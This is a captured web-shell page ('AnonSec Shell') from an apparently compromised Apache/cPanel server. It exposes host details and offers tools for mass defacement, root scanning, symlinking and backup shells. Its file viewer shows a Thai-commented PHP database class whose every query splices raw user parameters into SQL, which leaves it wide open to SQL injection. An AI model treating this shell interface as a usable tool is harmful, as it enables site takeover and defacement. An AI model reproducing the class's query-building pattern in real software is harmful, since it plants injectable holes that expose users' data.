AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/homhuan.com/class_27082564/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/homhuan.com/class_27082564/actionClass.php
<?php
require('connectClass.php');
class actiondata extends Connect{
	
			
			public function add($param){//$param = ตัวแปร array 
					$this->setconnect();
						
					$varibles=array_keys($param);
								foreach ($varibles as $field){	
									$addfield=$field." ";
									$setfield=$setfield.$addfield;
									
									$addvalue=$this->getdata($param[$field])."||||";
									if($addvalue==""){
									$addvalue='""';	
									}
									$setvalue=$setvalue.$addvalue;
								}
						$table=$param['table'];
						
						$fieldset=$this->cutcomma($setfield);
						$setfield=$fieldset;
						
						$valueset=$this->cutcomma2($setvalue);
						$setvalue=$valueset;
				
							
							$sql="INSERT INTO $table ($setfield) VALUES ($setvalue)";
							$result=mysql_query($sql);
							$id = mysql_insert_id();
							if($result){
								$data['suc']=1;//สำเร็จ
							}else{
								$data['suc']=2;	//ไม่สำเร็จ
							}
							$data['id']=$id;
							$data['sql']=$sql;
						return $data;
				}
			public function add_db($param){//$param = ตัวแปร array 
					$this->setconnect();
					$txtfield = "";
					$txtvalue = "";	
					$varibles=array_keys($param);
					foreach ($varibles as $field)
					{	
						  $addfield = $field."[-]";
						  if($param[$field] == '')
						  {
							  $param[$field] = '" "';
						  }
						  $value = $param[$field]."[-]";
						  $txtfield = $txtfield . $addfield;
						  $txtvalue = $txtvalue . $value;
						  
					}
						$field_c = $this->cutcomma_space($txtfield);
						$field_c_v = $this->cutcomma_space($txtvalue);
						$table = $param['table'];
						
							
							$sql="INSERT INTO $table ($field_c) VALUES ($field_c_v);";
							$result = mysql_query($sql);
							if($result){
								$data['suc']=1;//สำเร็จ
							}else{
								$data['suc']=2;	//ไม่สำเร็จ
							}
							$data['sql']=$sql;
						return $data;
				}
				
				
				
			public function add_db2($param){//$param = ตัวแปร array 
					$this->setconnect_2();
					$txtfield = "";
					$txtvalue = "";	
					$varibles=array_keys($param);
					foreach ($varibles as $field)
					{	
						  $addfield = $field."[-]";
						  if($param[$field] == '')
						  {
							  $param[$field] = '" "';
						  }
						  $value = $param[$field]."[-]";
						  $txtfield = $txtfield . $addfield;
						  $txtvalue = $txtvalue . $value;
						  
					}
						$field_c = $this->cutcomma_space($txtfield);
						$field_c_v = $this->cutcomma_space($txtvalue);
						$table = $param['table'];
						
							
							$sql="INSERT INTO $table ($field_c) VALUES ($field_c_v);";
							$result = mysql_query($sql);
							if($result){
								$data['suc']=1;//สำเร็จ
							}else{
								$data['suc']=2;	//ไม่สำเร็จ
							}
							$data['sql']=$sql;
						return $data;
				}
					
					
			private function cutcomma($data){
					//var_dump($data);
					$cutmomma=explode(" ",$data);
					$valuenum=count($cutmomma);
					$i=0;
					foreach($cutmomma as $sub){
						if($i !=0 && $cutmomma[$i]!=''){
							if($i==($valuenum-2)){
								$value=$value.$cutmomma[$i];
							}else{
								$value=$value.$cutmomma[$i].",";
							}	
						}
						
						$i++;
						}
						return $value;
				}
			private function cutcomma2($data){
					//var_dump($data);
					$cutmomma=explode("||||",$data);
					$valuenum=count($cutmomma);
					echo "valuenum".$valuenum;
					$i=0;
					foreach($cutmomma as $sub){
						if($i !=0 && $i <= $valuenum-2){
							
							if($i==($valuenum-2)){
								$value=$value."'".$cutmomma[$i]."'";
							}else{
								$value=$value."'".$cutmomma[$i]."',";
							}
						}
						$i++;
						}
				
						return $value;
				}
		private function cutcomma_space($data)
		{
					$cutmomma = explode("[-]",$data);
					$valuenum = count($cutmomma);
					$i=0;
					foreach($cutmomma as $sub){
						if($i !=0 && $cutmomma[$i]!=''){
							if($i == ($valuenum-2)){
								$value=$value.$cutmomma[$i];
							}else{
								$value=$value.$cutmomma[$i].",";
							}	
						}
						$i++;
						}
						return $value;
				
		}
		public function edit($param)
			{
					$this->setconnect();
					$varibles = array_keys($param);
							$i = 0;
							$table = $param['table'];
							$id = $param['id'];
							
							foreach ($varibles as $field)
							{
								if($i >1)
								{
								
									$sql="UPDATE $table SET $field = '".$param[$varibles[$i]]."' WHERE id = $id";
									
									$result = mysql_query($sql);		
									if($result){
										$data['suc'][] = 1;
									}else{
										$data['suc'][] = 0;	
									}
								}
								$i++;
								
							}
						//$data['sql']=$sql;	
					return $data;
				}
				
				
		public function edit_db($param)
		{//$param = ตัวแปร array 
			$this->setconnect();
			
			$varibles=array_keys($param);
			$table = $param['table'];
			$txt = "";
			$txt_sql = "";
			$i = 0;
			
			foreach ($varibles as $field)
			{	
				if($i == 1)
				{
					$txt_where = "`".$field. "` = '" . $param[$field] . "' ";
				}
				if($i > 1)
				{
					if($i == 2)
					{
						$txt = "`". $field . "` = '" . $param[$field] . "' ";
					}
					else
					{
						$txt = ",`". $field .  "` = '" . $param[$field] . "' ";
					}
				
					$txt_sql = $txt_sql . $txt;
					
				}
				$i++;
			}
				
			$sql = "UPDATE  `".$table."` SET  ".$txt_sql." WHERE  ".$txt_where;
			$result = mysql_query($sql);		
			if($result)
			{
				$data['suc'] = 1;
			}
			else
			{
				$data['suc'] = 0;	
			}
			$data['sql'] = $sql;
			
			
			return $data;	
		}		
		public function delete($param)//$param = ตัวแปร array 
		{
			$this->setconnect();
				
			$table = $param['table'];
			$wherekey = array_keys($param);
			$numparam = count($param);
				$i = 0;
			foreach($wherekey as $key){
				if($key != 'table'){
					$keyfield[] = $key;
					$keyvalue[] = $param[$key];
					}
				$i++;	
				}
		
				$numwhere=count($keyfield);
					
							for($key=0; $key<$numwhere;$key++){
								if($key==($numwhere-1)){
								$comparition=$keyfield[$key]."= '".$keyvalue[$key]."'";
								}else{
								$comparition=$keyfield[$key]."= '".$keyvalue[$key]."'  and ";	
								}
								$where=$where.$comparition;
							}
						
			
		
			$sql="DELETE FROM ".$table." WHERE ".$where;
		
			$result=mysql_query($sql);		
								if($result){
									$data['suc'] = 1;//สำเร็จ
								}else{
									$data['suc'] = 2;//ไม่สำเร็จ
					}
					return $data;
		}
		public function view($param)//$param = ตัวแปร array 
			{
				$this->setconnect();
				
				if($param['id'] != "")
				{
					$sql="select * from ".$param['table']." where id='".$param['id']."'";		
				}else
				{
//-----------------------------------ตรวจสอบข้อมูลเกี่ยวกับการแบ่งหน้า----------------------------------------------------------
					if($param['srclimit']=="" or $param['srclimit']==0)
					{
						$srclimit=10;
						}else{
						$srclimit=$param['srclimit'];	
					}
					
					if($param['page'] == "" or $param['page']==0){
						$page=1;
						$min=0;
						$max=$srclimit;
					}else if($param['page'] !="" or $param['page'] !=0){
						$page=$param['page'] ;
						$min=($srclimit * $page)- $srclimit;
						$max=$srclimit;
					}
//----------------------------------//ตรวจสอบข้อมูลเกี่ยวกับการแบ่งหน้า----------------------------------------------------------	
//----------------------------------ตรวจสอบว่ามีการใส่คำค้นมาหรือไม่-------------------------------------------------------------
			 if($param['srcword']==""){//ไม่มีการส่งคำค้นมา
					$sql="select * from $param[table]";
				if($param['status']==""){
					if($param['sortby']!=""){
						$sql.=" order by $param[sortby] $param[typeofsort]";
					}
				}else{
					$sql.=" where status=$param[status]";
						if($sortby!=""){
							$sql.=" order by $param[sortby] $param[typeofsort]";
						}	
				}
		
			}else if($param['srcword'] !=""){//มีการส่งคำค้นมา
			
						//ตัวสอบตัวดำเนินการที่ส่งค่ามา	
					if($param['sign'] ==""){	
						$addsign="=";
						$conparitoin1="";
						$conparitoin2="";	
					}else if($param['sign']=="="){
						$addsign="=";
						$conparitoin1="";
						$conparitoin2="";
					}else if($param['sign']=="-%"){
						$addsign="LIKE ";
						$conparitoin1="";
						$conparitoin2="%";
					}else if($param['sign']=="%%"){
						$addsign="LIKE ";
						$conparitoin1="%";
						$conparitoin2="%";
					}else if($param['sign']=="%-"){
						$addsign="LIKE ";
						$conparitoin1="%";
						$conparitoin2="";
					}
					$sql="select * from $param[table] where $param[srcfield] $addsign'".$conparitoin1.$param['srcword'].$conparitoin2."'";
				 if($param['status']==""){
						if($param['sortby']!=""){
						$sql.=" order by ".$param['sortby']." ".$param['typeofsort'];
						}
				}else{
					$sql.=" and status='$param[status]'";
						if($param['sortby']!=""){
						$sql.=" order by ".$param['sortby']." ".$param['typeofsort'];
						}	
				}
			}
//----------------------------------//ตรวจสอบว่ามีการใส่คำค้นมาหรือไม่----------------------------------------------------

			if($param['createpage']=='yes'){//ตรวจสอบว่าต้องการแบ่งหน้าหรือไม่
				$sql.=" LIMIT $min , $max";
			}
		}
			$result=mysql_query($sql);
			$num=mysql_num_rows($result);
		//--------------------------------------------หาข้อมูลหน้าทั้งหมดตามเงื่อนไข โดยไม่มีการแบ่งหน้า------------------------------------------------------
		if($param['srcword'] !=""){//มีการส่งคำค้นมา
			$sql2="select * from ".$param['table']." where $param[srcfield] $addsign'".$conparitoin1.$param['srcword'].$conparitoin2."'"  ;
			if($param['status']=="1"){
				$sql2.=" and status='".$param['status']."'";
				}
		}else{
			$sql2="select * from ".$param['table'];
			if($param['status']=="1"){
				$sql2.=" where status='".$param['status']."'";
				}
		}
//---------------------------------------------------------------------------------------------------------------------------------------	
	
		$result2=mysql_query($sql2);
		$num1=mysql_num_rows($result2);
			//var_dump($sql2);
	
		//----------------------หาหน้าทั้งหมด-------------------------------
		@$totalpage=ceil($num1/$srclimit);					
			$i=0;
		while($datasql=mysql_fetch_array($result)){
			
		//---------------------------ค้นหาชื่อฟิล์ดจาก table เพื่อทำการ return ข้อมูล---------------------------------------
				$numfield=mysql_num_fields($result);
				$b=0;
				while ($b < mysql_num_fields($result)) {
					$meta = mysql_fetch_field($result, $b);

					$data[$b]['fieldname']=$meta->name;
					$data[$i][$data[$b]['fieldname']]=$datasql[$data[$b]['fieldname']];
					$b++;
				}
		//-------------------------------------ปิดหาชื่อฟีล์ด---------------------------------------------------------------

			$i++;
			}
			$data['totalpage']=$totalpage;
			$data['page']=$page;
			$data['srcfield']=$param['srcfield'];
			$data['srcword']=$param['srcword'];
			$data['sign']=$param['sign'];
			$data['sql']=$sql;
			$data['num']=$num;
			$data['num1']=$num1;
			$data['min']=$min;
			$data['srclimit']=$srclimit;
			$data['typeofsort']=$typeofsort;
			 
			 
			// var_dump($data);
			 //exit;
			return $data;
	
	}
		public function findAfield($table,$primarykey,$viewfield){  //('ชือtable',privarykey,ฟีลด์ที่ต้องการดู)
		$this->setconnect();
		$sql="select ".$viewfield." from ".$table." where id=".$primarykey."";
		$re=@mysql_query($sql);
		$da=@mysql_fetch_array($re);
		$viewfield=$da[$viewfield];
			if($viewfield==""){
				//echo "ค่าตัวแปรไม่ถูกต้อง";
				$data="ค่าตัวแปรไม่ถูกต้อง";
			}else{
				//echo 	$viewfield;
				$data=$viewfield;
			}
			return $data;
		}
		
		public function q_one($table,$primarykey,$viewfield){  //('ชือtable',คำค้น,ฟีลด์ที่ต้องการดู)
		$this->setconnect();
		$sql="select ".$viewfield." from ".$table." where ".$primarykey."";
		$re=@mysql_query($sql);
		$da=@mysql_fetch_array($re);
		$viewfield=$da[$viewfield];
			if($viewfield==""){
				//echo "ค่าตัวแปรไม่ถูกต้อง";
				$data="ค่าตัวแปรไม่ถูกต้อง";
			}else{
				//echo 	$viewfield;
				$data = $viewfield;
			}
			return $data;
		}
	
	
	}
?>

Anon7 - 2022
AnonSec Team